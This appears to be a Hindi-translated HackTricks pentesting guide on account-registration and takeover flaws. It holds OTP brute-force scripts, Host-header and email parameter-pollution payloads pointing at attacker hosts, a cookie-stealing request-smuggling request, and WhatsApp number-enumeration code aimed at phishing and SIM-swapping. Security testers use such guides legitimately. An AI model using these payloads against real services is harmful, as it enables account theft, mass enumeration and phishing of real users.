पंजीकरण & Takeover Vulnerabilities

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

पंजीकरण Takeover

डुप्लिकेट पंजीकरण

  • किसी मौजूदा username का उपयोग कर के जनरेट करने की कोशिश करें
  • ईमेल बदल के चेक करें:
  • अपरकेस
  • +1@
  • ईमेल में कुछ dot जोड़ें
  • ईमेल नाम में special characters (%00, %09, %20)
  • ईमेल के बाद blank कैरेक्टर डालें: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com
  • Try email provider canonicalization tricks (service-dependent):
  • Gmail ignores dots and subaddressing: victim+1@gmail.com, v.ic.tim@gmail.com deliver to victim@gmail.com
  • कुछ providers local-part में case-insensitive होते हैं
  • कुछ providers unicode confusables स्वीकार करते हैं। homoglyphs और soft hyphen \u00AD को local-part के अंदर आज़माएँ
  • इनका दुरुपयोग करके: uniqueness checks को bypass करें, duplicate accounts/workspace invites प्राप्त करें, या victim sign‑ups को रोकें (अस्थायी DoS) जब आप takeover तैयार कर रहे हों

Username Enumeration

जांचें कि क्या आप पता लगा सकते हैं कि कब कोई username पहले से application में पंजीकृत है।

  • अलग-अलग error messages या HTTP status codes
  • Timing differences (मौजूदा user IdP/DB lookup ट्रिगर कर सकता है)
  • Registration form का autofill profile data के लिए ज्ञात ईमेल्स पर
  • टीम/invite flows चेक करें: ईमेल डालने पर पता चल सकता है कि account मौजूद है या नहीं

Password Policy

User बनाते समय password policy जांचें (देखें कि क्या आप weak passwords का उपयोग कर सकते हैं).
ऐसे मामलों में आप credentials को bruteforce करने की कोशिश कर सकते हैं।

SQL Injection

Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

ईमेल बदलना

जब रजिस्टर हो जाएँ तो ईमेल बदलने की कोशिश करें और चेक करें कि यह परिवर्तन सही तरीके से validate किया जा रहा है या आप इसे arbitrary emails में बदल सकते हैं।

और जाँचें

  • चेक करें कि क्या आप disposable emails (mailinator, yopmail, 1secmail, आदि) का उपयोग कर सकते हैं या subaddressing जैसे victim+mailinator@gmail.com के साथ blocklist को bypass कर सकते हैं
  • लंबा password (>200) DoS का कारण बन सकता है
  • Account creation पर rate limits जांचें
  • username@burp_collab.net का उपयोग करें और callback का विश्लेषण करें
  • यदि phone number verification उपयोग में है, तो phone parsing/injection के edge cases चेक करें

Phone Number Injections

Captcha Bypass

Contact-discovery / identifier-enumeration oracles

Phone-number–centric messengers एक presence oracle एक्सपोज़ कर देते हैं जब भी client contacts sync करता है। WhatsApp की discovery requests को replay करने से ऐतिहासिक रूप से >100M lookups per hour मिले हैं, जिससे लगभग-पूर्ण account enumerations संभव हुए।

Attack workflow

  1. Instrument an official client ताकि address-book upload request (normalized E.164 नंबरों का authenticated blob) कैप्चर किया जा सके। उसे attacker-generated numbers के साथ replay करें जबकि वही cookies/device token reuse करें।
  2. Batch numbers per request: WhatsApp हजारों identifiers स्वीकार करता है और registered/unregistered के साथ metadata (business, companion, आदि) लौटाता है। responses का offline विश्लेषण करके बिना victims को मेसेज किए target lists बनाएं।
  3. Horizontally scale enumeration SIM banks, cloud devices, या residential proxies के साथ ताकि per-account/IP/ASN throttling कभी ट्रिगर न हो।

Dialing-plan modeling

प्रत्येक देश की dialing plan को मॉडल करें ताकि invalid candidates को स्किप किया जा सके। NDSS dataset (country-table.*) country codes, adoption density, और platform split लिस्ट करता है ताकि आप high-hit ranges को प्राथमिकता दे सकें। Example seeding code:

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)

Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.

Enumerations को लक्षित हमलों में बदलना

  • Oracle में leaked phone numbers (e.g., Facebook’s 2021 breach) डालकर पता लगाएँ कि phishing, SIM-swapping, या spamming से पहले कौन सी identities अभी भी active हैं।
  • देश/OS/app प्रकार के अनुसार censuses को विभाजित करके ऐसे क्षेत्रों का पता लगाएँ जहाँ SMS filtering कमजोर है या localized social engineering के लिए WhatsApp Business का व्यापक उपयोग है।

Public-key पुनः उपयोग सहसंबंध

WhatsApp प्रत्येक अकाउंट की X25519 identity key को session setup के दौरान उजागर करता है। हर enumerated नंबर के लिए identity material का अनुरोध करें और public keys को deduplicate करें ताकि account farms, cloned clients, या insecure firmware का पता चल सके—shared keys multi-SIM operations की पहचान उजागर कर देती हैं।

Registration flows अक्सर numeric OTP या magic-link token के माध्यम से ownership verify करते हैं। सामान्य दोष:

  • Guessable या short OTP (4–6 digits) जिनके साथ कोई प्रभावी rate limiting या IP/device tracking न हो। parallel guesses और header/IP rotation आज़माएँ।
  • OTP का actions या accounts में reuse होना, या specific user/action से बंधा न होना (उदा., वही code login और signup दोनों में काम करे, या email बदलने के बाद भी काम करे)।
  • Multi-value smuggling: कुछ backends कई codes स्वीकार करते हैं और जाँचते हैं कि कोई भी match करता है। Try:
  • code=000000&code=123456
  • JSON arrays: {"code":["000000","123456"]}
  • Mixed parameter names: otp=000000&one_time_code=123456
  • Comma/pipe separated values: code=000000,123456 or code=000000|123456
  • Response oracle: status/message/body length से wrong, expired, या wrong-user codes को अलग करें।
  • Tokens success के बाद या password/email बदलने के बाद invalidated नहीं होते।
  • Verification token user agent/IP से बाँधा नहीं गया हो, जिससे attacker-controlled pages से cross-origin completion की अनुमति मिल सके।

Bruteforcing का उदाहरण ffuf के साथ एक JSON OTP endpoint के खिलाफ:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all

Parallel/concurrent guessing से sequential lockouts को बायपास करना (use Turbo Intruder in Burp):

Turbo Intruder snippet 6‑digit OTP प्रयासों को flood करने के लिए ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)

def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Try racing verification: एक ही वैध OTP को दो सत्रों में एक साथ सबमिट करें; कभी‑कभी एक सत्र verified attacker account बन जाता है जबकि victim का फ्लो भी सफल हो जाता है।
- Also test Host header poisoning on verification links (same as reset poisoning below) ताकि attacker‑controlled host पर verification को leak या पूरा किया जा सके।

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (victim के साइन अप करने से पहले)

एक शक्तिशाली क्लास की समस्याएँ तब होती हैं जब attacker victim के ईमेल पर उन_actions_ को perform करता है इससे पहले कि victim अपना account बनाये, और बाद में फिर access हासिल कर लेता है।

Key techniques to test (target के फ्लोज़ के अनुसार अनुकूलित करें):

- Classic–Federated Merge
- Attacker: victim email से एक classic account register करता है और password सेट करता है
- Victim: बाद में उसी email से SSO के जरिए साइन अप करता है
- Insecure merges दोनों पक्षों को logged in छोड़ सकते हैं या attacker की access को resurrect कर सकते हैं
- Unexpired Session Identifier
- Attacker: account बनाता है और एक long‑lived session रखता है (logout न करें)
- Victim: account recover/पासवर्ड सेट करता है और उसे उपयोग करता है
- टेस्ट करें कि क्या पुराने sessions reset या MFA enable करने के बाद भी valid रहते हैं
- Trojan Identifier
- Attacker: pre‑created account में एक secondary identifier जोड़ता है (phone, अतिरिक्त email, या attacker का IdP लिंक)
- Victim: password reset करता/करती है; बाद में attacker उस trojan identifier का उपयोग करके reset/login कर लेता है
- Unexpired Email Change
- Attacker: email‑change attacker के मेल पर initiate करता है और confirmation रोक देता है
- Victim: account recover करता/करती है और उसे उपयोग करना शुरू कर देता/देती है
- Attacker: बाद में pending email‑change complete करके account चुरा लेता है
- Non‑Verifying IdP
- Attacker: ऐसा IdP उपयोग करता है जो email ownership verify नहीं करता और `victim@…` assert कर देता है
- Victim: classic route से साइन अप करता/करती है
- Service बिना `email_verified` चेक किए या local verification किए email पर merge कर देता है

Practical tips

- web/mobile bundles से flows और endpoints harvest करें। classic signup, SSO linking, email/phone change, और password reset endpoints देखें।
- अन्य फ्लोज़ पर काम करते समय sessions को जीवित रखने के लिए realistic automation बनाएं।
- SSO tests के लिए, एक test OIDC provider उठाएँ और victim address के लिए `email` claims वाले token जारी करें तथा `email_verified=false` सेट करके जांचें कि RP unverified IdPs पर भरोसा करता है या नहीं।
- किसी भी password reset या email change के बाद सत्यापित करें कि:
  - all other sessions और tokens invalidated हैं,
  - pending email/phone change क्षमताएँ रद्द कर दी गयी हैं,
  - पहले linked IdPs/emails/phones फिर से verify किये गये हैं।

Note: इन तकनीकों की विस्तृत methodology और केस स्टडीज़ Microsoft की pre‑hijacking research में document की गयी हैं (References अंत में देखें)।

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. अपना email address पर password reset request करें
2. password reset link पर क्लिक करें
3. पासवर्ड बदलें नहीं
4. किसी भी 3rd party website(eg: Facebook, twitter) पर क्लिक करें
5. Burp Suite proxy में request intercept करें
6. जांचें कि referer header password reset token को leak कर रहा है या नहीं।

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Burp Suite में password reset request intercept करें
2. Burp Suite में निम्न headers जोड़ें या edit करें : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. modified header के साथ request forward करें\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. host header पर आधारित password reset URL खोजें, जैसे : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. Attacker को अपने अकाउंट से login करना होगा और Change password फीचर पर जाना होगा।
  2. Burp Suite शुरू करें और request को Intercept करें
  3. उसे repeater tab में भेजें और parameters edit करें : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

The password reset token को हर बार randomly generate और unique होना चाहिए।
जाँच करें कि token expire होता है या हमेशा एक जैसा रहता है — कुछ मामलों में generation algorithm weak होता है और अनुमान लगाया जा सकता है। निम्नलिखित variables algorithm में उपयोग किए जा सकते हैं।

  • Timestamp
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Number only
  • Small token sequence ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. किसी specific email के लिए API/UI का उपयोग करके password reset request trigger करें, उदाहरण: test@mail.com
  2. server response को inspect करें और resetToken के लिए चेक करें
  3. फिर उस token का उपयोग किसी URL में करें जैसे https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. सिस्टम पर ऐसे username से register करें जो victim के username के समान हो, पर username के पहले और/या बाद में white spaces डालें। उदाहरण: "admin "
  2. अपने malicious username के साथ password reset request करें।
  3. अपने email पर भेजे गए token का उपयोग करें और victim का password reset कर दें।
  4. नए password के साथ victim के account में login करें।

The platform CTFd was vulnerable to this attack.
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. application या किसी subdomain में XSS ढूंढें अगर cookies parent domain पर scope की गई हों : *.domain.com
  2. current sessions cookie को leak करें
  3. cookie का उपयोग कर user के रूप में authenticate करें

Account Takeover Via HTTP Request Smuggling

  1. HTTP Request Smuggling (CL, TE, CL.TE) के प्रकार का पता लगाने के लिए smuggler का उपयोग करें
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. एक ऐसा request बनायें जो POST / HTTP/1.1 को निम्नलिखित data से overwrite कर दे:
    GET http://something.burpcollaborator.net HTTP/1.1 X: — लक्ष्य victims को burpcollab पर open redirect कर के उनकी cookies चुराना है\
  3. अंतिम request कुछ इस प्रकार दिख सकता है
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone ने इस बग के exploiting की रिपोर्ट की\

CSRF के माध्यम से खाता अधिग्रहण

  1. CSRF के लिए एक payload बनाएं, उदाहरण: “HTML form with auto submit for a password change”
  2. payload भेजें

JWT के माध्यम से खाता अधिग्रहण

JSON Web Token का उपयोग किसी उपयोगकर्ता को authenticate करने के लिए किया जा सकता है।

  • JWT को किसी अन्य User ID / Email के साथ संपादित करें
  • कमजोर JWT signature के लिए जाँच करें

JWT Vulnerabilities (Json Web Tokens)

रजिस्ट्रेशन-को-रीसेट (Upsert on Existing Email)

कुछ signup handlers उस स्थिति में upsert करते हैं जब दिया गया email पहले से मौजूद हो। अगर endpoint एक न्यूनतम body (जिसमें केवल email और password हो) स्वीकार करता है और ownership verification लागू नहीं करता, तो victim का email भेजने से उनके password को pre-auth तरीके से overwrite किया जा सकता है।

  • खोज: bundled JS (या mobile app traffic) से endpoint नाम इकट्ठा करें, फिर ffuf/dirsearch का उपयोग करके /parents/application/v4/admin/FUZZ जैसे base paths को fuzz करें।
  • Method hints: एक GET जो “Only POST request is allowed.” जैसा संदेश लौटाए, अक्सर सही verb और JSON body की अपेक्षा होने का संकेत देता है।
  • वास्तविक दुनिया में देखी गई न्यूनतम body:
{"email":"victim@example.com","password":"New@12345"}

उदाहरण PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

प्रभाव: Full Account Takeover (ATO) बिना किसी reset token, OTP, या email verification के।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें